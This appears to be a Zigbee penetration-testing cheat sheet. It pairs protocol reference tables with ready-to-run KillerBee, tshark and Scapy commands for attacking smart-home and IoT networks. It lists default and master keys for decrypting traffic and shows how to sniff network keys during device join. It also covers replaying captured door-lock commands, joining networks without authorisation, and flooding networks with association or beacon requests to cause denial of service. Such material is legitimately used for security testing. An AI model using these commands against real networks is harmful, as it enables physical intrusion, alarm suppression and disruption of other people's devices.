Zigbee / IEEE 802.15.4

Zigbee

Overview

Frequency: 2.4 GHz (global), 868/915 MHz (regional)

Channels: 16 channels (11–26) at 2.4 GHz, 5 MHz spacing

Data Rate: 250 kbps at 2.4 GHz

Modulation: O-QPSK with DSSS (Direct Sequence Spread Spectrum)

Range: 10–100m line of sight; 10–20m indoor typical

TX Power: 0–10 dBm typical, legally up to 20 dBm EIRP

Zigbee Cluster Library (ZCL)

ZCL defines clusters — reusable application building blocks. Each cluster has a 16-bit ID, attributes, and commands. Clusters are the primary interface for device control and data reading. Understanding ZCL is essential for crafting spoofed commands and fuzzing.

Cluster NameCluster IDDescriptionAttack Interest
Basic0x0000Device info, reset commandsFactory reset via WriteAttr
Power Configuration0x0001Battery voltage, mainsInfo gathering
On/Off0x0006Toggle light/device stateDirect device control
Level Control0x0008Dimmer controlDisruption
OTA Upgrade0x0019Firmware update protocolMalicious firmware injection
Door Lock0x0101Lock/unlock commandsPhysical access bypass
Window Covering0x0102Blinds/shutter controlPhysical access assist
Thermostat0x0201HVAC setpointsComfort/energy disruption
IAS Zone0x0500Alarm/sensor statusAlarm suppression/spoofing
Metering0x0702Smart energy readingsEnergy fraud (AMI)
Key Establishment0x0800CBKE, link key setupKey extraction

Security Stack

Master Key

Pre-installed symmetric key used to establish link keys. Rarely used in practice. When used, protects link key transport.

Network Key (NWK Key)

128-bit AES key shared by ALL devices in the network. Protects NWK layer frames. Rotatable via Key Update procedure (rarely done in practice).

Link Key (App Key)

128-bit AES key shared between specific device pairs. Used for APS-layer encryption. Higher security but not universally implemented.

Security LevelValueEncryptionMIC LengthUsage
None0x00No0Beacons, discovery
MIC-320x01No4 bytesAuthentication only
MIC-640x02No8 bytesAuthentication only
MIC-1280x03No16 bytesAuthentication only
ENC0x04Yes0Encryption only (rare)
ENC-MIC-320x05Yes4 bytesMost common in Zigbee PRO
ENC-MIC-640x06Yes8 bytesHigher security deployments
ENC-MIC-1280x07Yes16 bytesMaximum security

Known Default Keys

# Default link key (join): ASCII ZigBeeAlliance09
# HEX 5A6967426565416C6C69616E63653039

# ZHA default key: 16 zero bytes
# ZLL master key: 9F5595F10257C8A9651985CBB7402D2F

# Smart Energy: CBKE certificates — no global default

Setup

Install Killerbee:

sudo apt-get install -y python3-pip python3-dev libusb-1.0-0-dev wireshark
pip3 install killerbee

# List interfaces
zbid

sudo cp killerbee/dev/99-killerbee.rules /etc/udev/rules.d/
sudo udevadm control --reload-rules

Reconnaissance

Passive capture using killerbee

# List available interfaces
zbid

# Capture on channel 15 (common deployment channel)
zbdump -c 15 -w capture_ch15.pcap

# Rotate through all channels (short capture each)
for ch in 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26; do
  zbdump -c $ch -w ch${ch}.pcap -n 500 &
done

# Live feed to Wireshark
zbdump -c 15 -w - | wireshark -k -i -

Analyze Capture

# Decode PCAP (CLI)
zbcat capture_ch15.pcap

# Unique IEEE addresses
zbcat capture.pcap | grep "Source" | sort -u

# Beacon frames (PAN / coordinator discovery)
zbcat capture.pcap | grep -i "beacon"

Wireshark filters:

wpan.frame_type == 0

# Wireshark — ZCL command frames
zbee_zcl

# Wireshark — join requests
zbee_nwk.cmd.id == 0x06

# Wireshark — no link-layer security
!wpan.security

# All Zigbee NWK frames
zbee_nwk

# APS layer frames
zbee_aps

# Encrypted frames only
zbee_nwk.security==1

# Door Lock cluster
zbee_zcl.cluster_id==0x0101

# From coordinator only
zbee_nwk.src==0x0000

Network Discovery

Active:

# Active stumble — all channels
zbstumbler

# Single channel
zbstumbler -c 15

# Verbose (RSSI)
zbstumbler -c 15 -v

# Save output
zbstumbler -c 15 -w stumble_results.txt

# Locate device by IEEE
zbfind -c 15 -d 00:11:22:33:44:55:66:77

Mapping topology:

mosquitto_sub -t "zigbee2mqtt/bridge/devices" -v

mosquitto_pub -t "zigbee2mqtt/bridge/request/networkmap" \
  -m '{"type":"raw","routes":false}'

curl http://localhost:8080/api/devices

Packet Sniffing

Decrypt frames in Wireshark:

Edit → Preferences → Protocols → ZigBee → add keys:

  • NWK default link key: 5A6967426565416C6C69616E63653039

  • ZHA null key: 00000000000000000000000000000000

  • ZLL master key: 9F5595F10257C8A9651985CBB7402D2F

  • Display filter (decrypted ZCL): zbee_zcl && zbee_zcl.cmd.id

Key Extraction:

zbcat -k 5a6967426565416c6c69616e63653039 capture.pcap

tshark -r capture.pcap -Y "zbee_nwk.cmd.id == 0x0d" -T fields -e zbee_nwk.cmd.key
tshark -r capture.pcap -Y "zbee_aps.cmd.id == 0x05" -V

Key Update Monitoring:

# NWK key update (cmd 0x0d)
tshark -r cap.pcap -Y "zbee_nwk.cmd.id == 0x0d" -V

# APS update device (0x03)
tshark -r cap.pcap -Y "zbee_aps.cmd.id == 0x03" -V

# Remove device (0x04)
tshark -r cap.pcap -Y "zbee_aps.cmd.id == 0x04" -V

Replay Attacks

# Capture actuator traffic
zbdump -c 15 -w target_commands.pcap

# Find interesting frames (lock/door/toggle)
zbcat target_commands.pcap | grep -i "door\|lock\|toggle"

# Replay full capture
zbreplay -c 15 -r target_commands.pcap

# Replay with 100 ms inter-frame delay
zbreplay -c 15 -r target_commands.pcap -d 100

# Replay single frame
zbreplay -c 15 -r single_frame.pcap -n 1

Key Exfiltration

Extracting the network key compromises ALL devices on the network.

Key sniffing during join:

zbdump -c 15 -w join_capture.pcap

tshark -r join_capture.pcap -Y "zbee_aps.cmd.id == 0x05" \
  -d "zbee_nwk,zbee_aps" -T fields -e zbee_sec.key
  • Wireshark filter: APS Transport Key
  • bee_aps.cmd.id == 5

Decrypt Captures with Extracted Key

from killerbee import *

nwk_key = bytes.fromhex("deadbeef0011223344556677aabbccdd")

with PcapReader("capture.pcap") as pcap:
    for pkt in pcap:
        try:
            print(decrypt_zigbee(pkt, nwk_key).show2(dump=True))
        except Exception:
            pass

Association Attacks

These attacks will allow you to join an unauthorized network

Join an open network

import asyncio
from zigpy_cc.zigbee.application import ControllerApplication

async def join_network():
    app = ControllerApplication(config={
        "device": {"path": "/dev/ttyUSB0"},
        "network": {"channel": 15, "pan_id": 0x1a62},
    })
    await app.startup()
    for ieee, dev in app.devices.items():
        print(f"Device: {ieee} ({dev.model})")

asyncio.run(join_network())

Create a rogue network that mimics a legitimate network to lure devices into associating

Jamming and DoS

Association Flood

zbassocflood -c 15 -t 0x0000
zbassocflood -c 15 -t 0x0000 -r 100

zbdump -c 15 -w assoc_flood_response.pcap &

Beacon Request Flood

from scapy.all import *
from scapy.layers.dot15d4 import *
import time

beacon_req = Dot15d4FCS(fcf_frametype=3) / Dot15d4Cmd(cmd_id=7)
while True:
    for _ in range(100):
        sendp(beacon_req, iface="wpan0", verbose=0)
    time.sleep(0.01)

Additional Resources

Saturday, October 24, 2026 Monday, October 19, 2026